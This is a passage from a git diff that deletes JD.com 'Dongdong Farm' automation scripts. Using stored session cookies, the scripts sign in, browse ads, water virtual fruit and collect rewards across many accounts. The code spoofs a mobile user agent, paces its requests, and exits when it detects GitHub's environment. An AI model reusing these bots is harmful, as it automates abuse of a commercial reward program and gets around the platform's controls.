$.get(taskUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️') - console.log(JSON.stringify(err)); - console.log(`function_id:${function_id}`) - $.logErr(err); - } else { - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }, timeout) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, - headers: { - "Host": "api.m.jd.com", - "Accept": "*/*", - "Origin": "https://carry.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://carry.m.jd.com/", - "Cookie": cookie - }, - timeout: 10000 - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_fruit_task.js b/jd_fruit_task.js deleted file mode 100644 index 4da17f70f..000000000 --- a/jd_fruit_task.js +++ /dev/null @@ -1,1507 +0,0 @@ -/* -东东水果:脚本更新地址 jd_fruit_task.js -更新时间:2021-5-18 -活动入口:京东APP我的-更多工具-东东农场 -东东农场活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -互助码shareCode请先手动运行脚本查看打印可看到 -一天只能帮助3个人。多出的助力码无效 -==========================Quantumultx========================= -[task_local] -#jd免费水果 -5 6-18/6 * * * jd_fruit_task.js, tag=东东农场日常任务, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true -=========================Loon============================= -[Script] -cron "5 6-18/6 * * *" script-path=jd_fruit_task.js,tag=东东农场日常任务 - -=========================Surge============================ -东东农场日常任务 = type=cron,cronexp="5 6-18/6 * * *",wake-system=1,timeout=3600,script-path=jd_fruit_task.js - -=========================小火箭=========================== -东东农场日常任务 = type=cron,script-path=jd_fruit_task.js, cronexpr="5 6-18/6 * * *", timeout=3600, enable=true - -export DO_TEN_WATER_AGAIN="" 默认再次浇水 - -*/ -const $ = new Env('东东农场日常任务'); -let cookiesArr = [], - cookie = '', - jdFruitShareArr = [], - isBox = false, - notify, newShareCodes, allMessage = ''; -//助力好友分享码(最多3个,否则后面的助力失败),原因:京东农场每人每天只有3次助力机会 -//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 -//下面给出两个账号的填写示例(iOS只支持2个京东账号) -let shareCodes = [ // 这个列表填入你要助力的好友的shareCode - // //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 - // '5853550f71014282912b76d95beb84c0@b58ddba3317b44ceb0ac86ea8952998c@8d724eb95e3847b6a1526587d1836f27@a80b7d1db41a4381b742232da9d22443@ce107b8f64d24f62a92292180f764018@c73ea563a77d4464b273503d3838fec1@0dd9a7fd1feb449fb1bf854a3ec0e801', - // //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 - // '5853550f71014282912b76d95beb84c0@b58ddba3317b44ceb0ac86ea8952998c@8d724eb95e3847b6a1526587d1836f27@a80b7d1db41a4381b742232da9d22443@ce107b8f64d24f62a92292180f764018@c73ea563a77d4464b273503d3838fec1@0dd9a7fd1feb449fb1bf854a3ec0e801', -] -let message = '', - subTitle = '', - option = {}, - isFruitFinished = false; -const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100); //保留水滴大于多少g,默认100g; -let jdNotify = false; //是否关闭通知,false打开通知推送,true关闭通知推送 -let jdFruitBeanCard = false; //农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 -let randomCount = $.isNode() ? 20 : 5; -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; -let lnrun = 0; -!(async() => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - option = {}; - $.retry = 0; - lnrun++; - await jdFruit(); - if (lnrun == 3) { - console.log(`\n【访问接口次数达到3次,休息一分钟.....】\n`); - await $.wait(60 * 1000); - lnrun = 0; - } - await $.wait(30 * 1000); - } - } - if ($.isNode() && allMessage && $.ctrTemp) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdFruit() { - subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; - try { - await initForFarm(); - if ($.farmInfo.farmUserPro) { - // option['media-url'] = $.farmInfo.farmUserPro.goodsImage; - message = `【水果名称】${$.farmInfo.farmUserPro.name}\n`; - //console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); - console.log(`\n【已成功兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`); - message += `【已兑换水果】${$.farmInfo.farmUserPro.winTimes}次\n`; - //await masterHelpShare(); //助力好友 - if ($.farmInfo.treeState === 2 || $.farmInfo.treeState === 3) { - option['open-url'] = urlSchema; - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看`); - } - return - } else if ($.farmInfo.treeState === 1) { - console.log(`\n${$.farmInfo.farmUserPro.name}种植中...\n`) - } else if ($.farmInfo.treeState === 0) { - //已下单购买, 但未开始种植新的水果 - option['open-url'] = urlSchema; - $.msg($.name, ``, `【京东账号${$.index}】 ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果\n点击弹窗即达`, option); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 您忘了种植新的水果`, `京东账号${$.index} ${$.nickName || $.UserName}\n【提醒⏰】您忘了种植新的水果\n请去京东APP或微信小程序选购并种植新的水果`); - } - return - } - await doDailyTask(); - await doTenWater(); //浇水十次 - await getFirstWaterAward(); //领取首次浇水奖励 - await getTenWaterAward(); //领取10浇水奖励 - await getWaterFriendGotAward(); //领取为2好友浇水奖励 - await duck(); - if (!process.env.DO_TEN_WATER_AGAIN) { - console.log('执行再次浇水') - await doTenWaterAgain(); //再次浇水 - } else { - console.log('不执行再次浇水,攒水滴') - } - await predictionFruit(); //预测水果成熟时间 - } else { - console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常。`); - if ($.retry < 2) { - $.retry++ - console.log(`等待3秒后重试,第:${$.retry}次`); - await $.wait(3000); - await jdFruit(); - } - } - } catch (e) { - console.log(`任务执行异常,请检查执行日志 ‼️‼️`); - $.logErr(e); - // const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - // $.msg($.name, '', `${errMsg}`) - } - await showMsg(); -} -async function doDailyTask() { - await taskInitForFarm(); - console.log(`开始签到`); - if (!$.farmTask.signInit.todaySigned) { - await signForFarm(); //签到 - if ($.signResult.code === "0") { - console.log(`【签到成功】获得${$.signResult.amount}g💧\\n`) - //message += `【签到成功】获得${$.signResult.amount}g💧\n`//连续签到${signResult.signDay}天 - } else { - // message += `签到失败,详询日志\n`; - console.log(`签到结果: ${JSON.stringify($.signResult)}`); - } - } else { - console.log(`今天已签到,连续签到${$.farmTask.signInit.totalSigned},下次签到可得${$.farmTask.signInit.signEnergyEachAmount}g\n`); - } - // 被水滴砸中 - console.log(`被水滴砸中: ${$.farmInfo.todayGotWaterGoalTask.canPop ? '是' : '否'}`); - if ($.farmInfo.todayGotWaterGoalTask.canPop) { - await gotWaterGoalTaskForFarm(); - if ($.goalResult.code === '0') { - console.log(`【被水滴砸中】获得${$.goalResult.addEnergy}g💧\\n`); - // message += `【被水滴砸中】获得${$.goalResult.addEnergy}g💧\n` - } - } - console.log(`签到结束,开始广告浏览任务`); - if (!$.farmTask.gotBrowseTaskAdInit.f) { - let adverts = $.farmTask.gotBrowseTaskAdInit.userBrowseTaskAds - let browseReward = 0 - let browseSuccess = 0 - let browseFail = 0 - for (let advert of adverts) { //开始浏览广告 - if (advert.limit <= advert.hadFinishedTimes) { - // browseReward+=advert.reward - console.log(`${advert.mainTitle}+ ' 已完成`); //,获得${advert.reward}g - continue; - } - console.log('正在进行广告浏览任务: ' + advert.mainTitle); - await browseAdTaskForFarm(advert.advertId, 0); - if ($.browseResult.code === '0') { - console.log(`${advert.mainTitle}浏览任务完成`); - //领取奖励 - await browseAdTaskForFarm(advert.advertId, 1); - if ($.browseRwardResult.code === '0') { - console.log(`领取浏览${advert.mainTitle}广告奖励成功,获得${$.browseRwardResult.amount}g`) - browseReward += $.browseRwardResult.amount - browseSuccess++ - } else { - browseFail++ - console.log(`领取浏览广告奖励结果: ${JSON.stringify($.browseRwardResult)}`) - } - } else { - browseFail++ - console.log(`广告浏览任务结果: ${JSON.stringify($.browseResult)}`); - } - } - if (browseFail > 0) { - console.log(`【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\\n`); - // message += `【广告浏览】完成${browseSuccess}个,失败${browseFail},获得${browseReward}g💧\n`; - } else { - console.log(`【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`); - // message += `【广告浏览】完成${browseSuccess}个,获得${browseReward}g💧\n`; - } - } else { - console.log(`今天已经做过浏览广告任务\n`); - } - //定时领水 - if (!$.farmTask.gotThreeMealInit.f) { - // - await gotThreeMealForFarm(); - if ($.threeMeal.code === "0") { - console.log(`【定时领水】获得${$.threeMeal.amount}g💧\n`); - // message += `【定时领水】获得${$.threeMeal.amount}g💧\n`; - } else { - // message += `【定时领水】失败,详询日志\n`; - console.log(`定时领水成功结果: ${JSON.stringify($.threeMeal)}`); - } - } else { - console.log('当前不在定时领水时间断或者已经领过\n') - } - //给好友浇水 - if (!$.farmTask.waterFriendTaskInit.f) { - if ($.farmTask.waterFriendTaskInit.waterFriendCountKey < $.farmTask.waterFriendTaskInit.waterFriendMax) { - await doFriendsWater(); - } - } else { - console.log(`给${$.farmTask.waterFriendTaskInit.waterFriendMax}个好友浇水任务已完成\n`) - } - // await Promise.all([ - // clockInIn(),//打卡领水 - // executeWaterRains(),//水滴雨 - // masterHelpShare(),//助力好友 - // getExtraAward(),//领取额外水滴奖励 - // turntableFarm()//天天抽奖得好礼 - // ]) - //await getAwardInviteFriend(); - await clockInIn(); //打卡领水 - await executeWaterRains(); //水滴雨 - await getExtraAward(); //领取额外水滴奖励 - await turntableFarm() //天天抽奖得好礼 -} -async function predictionFruit() { - console.log('开始预测水果成熟时间\n'); - await initForFarm(); - await taskInitForFarm(); - let waterEveryDayT = $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; //今天到到目前为止,浇了多少次水 - message += `【今日共浇水】${waterEveryDayT}次\n`; - message += `【剩余 水滴】${$.farmInfo.farmUserPro.totalEnergy}g💧\n`; - message += `【水果🍉进度】${(($.farmInfo.farmUserPro.treeEnergy / $.farmInfo.farmUserPro.treeTotalEnergy) * 100).toFixed(2)}%,已浇水${$.farmInfo.farmUserPro.treeEnergy / 10}次,还需${($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10}次\n` - if ($.farmInfo.toFlowTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { - message += `【开花进度】再浇水${$.farmInfo.toFlowTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次开花\n` - } else if ($.farmInfo.toFruitTimes > ($.farmInfo.farmUserPro.treeEnergy / 10)) { - message += `【结果进度】再浇水${$.farmInfo.toFruitTimes - $.farmInfo.farmUserPro.treeEnergy / 10}次结果\n` - } - // 预测n天后水果课可兑换功能 - let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 - - let waterD = Math.ceil(waterTotalT / waterEveryDayT); - - message += `【预测】${waterD === 1 ? '明天' : waterD === 2 ? '后天' : waterD + '天之后'}(${timeFormat(24 * 60 * 60 * 1000 * waterD + Date.now())}日)可兑换水果🍉` -} -//浇水十次 -async function doTenWater() { - jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; - if ($.isNode() && process.env.FRUIT_BEAN_CARD) { - jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; - } - await myCardInfoForFarm(); - const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; - if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match(`限时翻倍`) && beanCard > 0) { - console.log(`您设置的是使用水滴换豆卡,且背包有水滴换豆卡${beanCard}张, 跳过10次浇水任务`) - return - } - if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { - console.log(`\n准备浇水十次`); - let waterCount = 0; - isFruitFinished = false; - for (; waterCount < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit - $.farmTask.totalWaterTaskInit.totalWaterTaskTimes; waterCount++) { - console.log(`第${waterCount + 1}次浇水`); - await waterGoodForFarm(); - await $.wait(2000); - console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); - if ($.waterResult.code === '0') { - console.log(`剩余水滴${$.waterResult.totalEnergy}g`); - if ($.waterResult.finished) { - // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 - isFruitFinished = true; - break - } else { - if ($.waterResult.totalEnergy < 10) { - console.log(`水滴不够,结束浇水`) - break - } - await gotStageAward(); //领取阶段性水滴奖励 - } - } else { - console.log('浇水出现失败异常,跳出不在继续浇水') - break; - } - } - if (isFruitFinished) { - option['open-url'] = urlSchema; - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - $.done(); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); - } - } - } else { - console.log('\n今日已完成10次浇水任务\n'); - } -} -//领取首次浇水奖励 -async function getFirstWaterAward() { - await taskInitForFarm(); - //领取首次浇水奖励 - if (!$.farmTask.firstWaterInit.f && $.farmTask.firstWaterInit.totalWaterTimes > 0) { - await firstWaterTaskForFarm(); - if ($.firstWaterReward.code === '0') { - console.log(`【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`); - // message += `【首次浇水奖励】获得${$.firstWaterReward.amount}g💧\n`; - } else { - // message += '【首次浇水奖励】领取奖励失败,详询日志\n'; - console.log(`领取首次浇水奖励结果: ${JSON.stringify($.firstWaterReward)}`); - } - } else { - console.log('首次浇水奖励已领取\n') - } -} -//领取十次浇水奖励 -async function getTenWaterAward() { - //领取10次浇水奖励 - if (!$.farmTask.totalWaterTaskInit.f && $.farmTask.totalWaterTaskInit.totalWaterTaskTimes >= $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { - await totalWaterTaskForFarm(); - if ($.totalWaterReward.code === '0') { - console.log(`【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`); - // message += `【十次浇水奖励】获得${$.totalWaterReward.totalWaterTaskEnergy}g💧\n`; - } else { - // message += '【十次浇水奖励】领取奖励失败,详询日志\n'; - console.log(`领取10次浇水奖励结果: ${JSON.stringify($.totalWaterReward)}`); - } - } else if ($.farmTask.totalWaterTaskInit.totalWaterTaskTimes < $.farmTask.totalWaterTaskInit.totalWaterTaskLimit) { - // message += `【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`; - console.log(`【十次浇水奖励】任务未完成,今日浇水${$.farmTask.totalWaterTaskInit.totalWaterTaskTimes}次\n`); - } - console.log('finished 水果任务完成!'); -} -//再次浇水 -async function doTenWaterAgain() { - console.log('开始检查剩余水滴能否再次浇水再次浇水\n'); - await initForFarm(); - let totalEnergy = $.farmInfo.farmUserPro.totalEnergy; - console.log(`剩余水滴${totalEnergy}g\n`); - await myCardInfoForFarm(); - const { fastCard, doubleCard, beanCard, signCard } = $.myCardInfoRes; - console.log(`背包已有道具:\n快速浇水卡:${fastCard === -1 ? '未解锁': fastCard + '张'}\n水滴翻倍卡:${doubleCard === -1 ? '未解锁': doubleCard + '张'}\n水滴换京豆卡:${beanCard === -1 ? '未解锁' : beanCard + '张'}\n加签卡:${signCard === -1 ? '未解锁' : signCard + '张'}\n`) - if (totalEnergy >= 100 && doubleCard > 0) { - //使用翻倍水滴卡 - for (let i = 0; i < new Array(doubleCard).fill('').length; i++) { - await userMyCardForFarm('doubleCard'); - console.log(`使用翻倍水滴卡结果:${JSON.stringify($.userMyCardRes)}`); - } - await initForFarm(); - totalEnergy = $.farmInfo.farmUserPro.totalEnergy; - } - if (signCard > 0) { - //使用加签卡 - for (let i = 0; i < new Array(signCard).fill('').length; i++) { - await userMyCardForFarm('signCard'); - console.log(`使用加签卡结果:${JSON.stringify($.userMyCardRes)}`); - } - await initForFarm(); - totalEnergy = $.farmInfo.farmUserPro.totalEnergy; - } - jdFruitBeanCard = $.getdata('jdFruitBeanCard') ? $.getdata('jdFruitBeanCard') : jdFruitBeanCard; - if ($.isNode() && process.env.FRUIT_BEAN_CARD) { - jdFruitBeanCard = process.env.FRUIT_BEAN_CARD; - } - if (`${jdFruitBeanCard}` === 'true' && JSON.stringify($.myCardInfoRes).match('限时翻倍')) { - console.log(`\n您设置的是水滴换豆功能,现在为您换豆`); - if (totalEnergy >= 100 && $.myCardInfoRes.beanCard > 0) { - //使用水滴换豆卡 - await userMyCardForFarm('beanCard'); - console.log(`使用水滴换豆卡结果:${JSON.stringify($.userMyCardRes)}`); - if ($.userMyCardRes.code === '0') { - message += `【水滴换豆卡】获得${$.userMyCardRes.beanCount}个京豆\n`; - return - } - } else { - console.log(`您目前水滴:${totalEnergy}g,水滴换豆卡${$.myCardInfoRes.beanCard}张,暂不满足水滴换豆的条件,为您继续浇水`) - } - } - // if (totalEnergy > 100 && $.myCardInfoRes.fastCard > 0) { - // //使用快速浇水卡 - // await userMyCardForFarm('fastCard'); - // console.log(`使用快速浇水卡结果:${JSON.stringify($.userMyCardRes)}`); - // if ($.userMyCardRes.code === '0') { - // console.log(`已使用快速浇水卡浇水${$.userMyCardRes.waterEnergy}g`); - // } - // await initForFarm(); - // totalEnergy = $.farmInfo.farmUserPro.totalEnergy; - // } - // 所有的浇水(10次浇水)任务,获取水滴任务完成后,如果剩余水滴大于等于60g,则继续浇水(保留部分水滴是用于完成第二天的浇水10次的任务) - if (totalEnergy < retainWater) { - console.log('保留水滴不足,停止继续浇水') - return - } 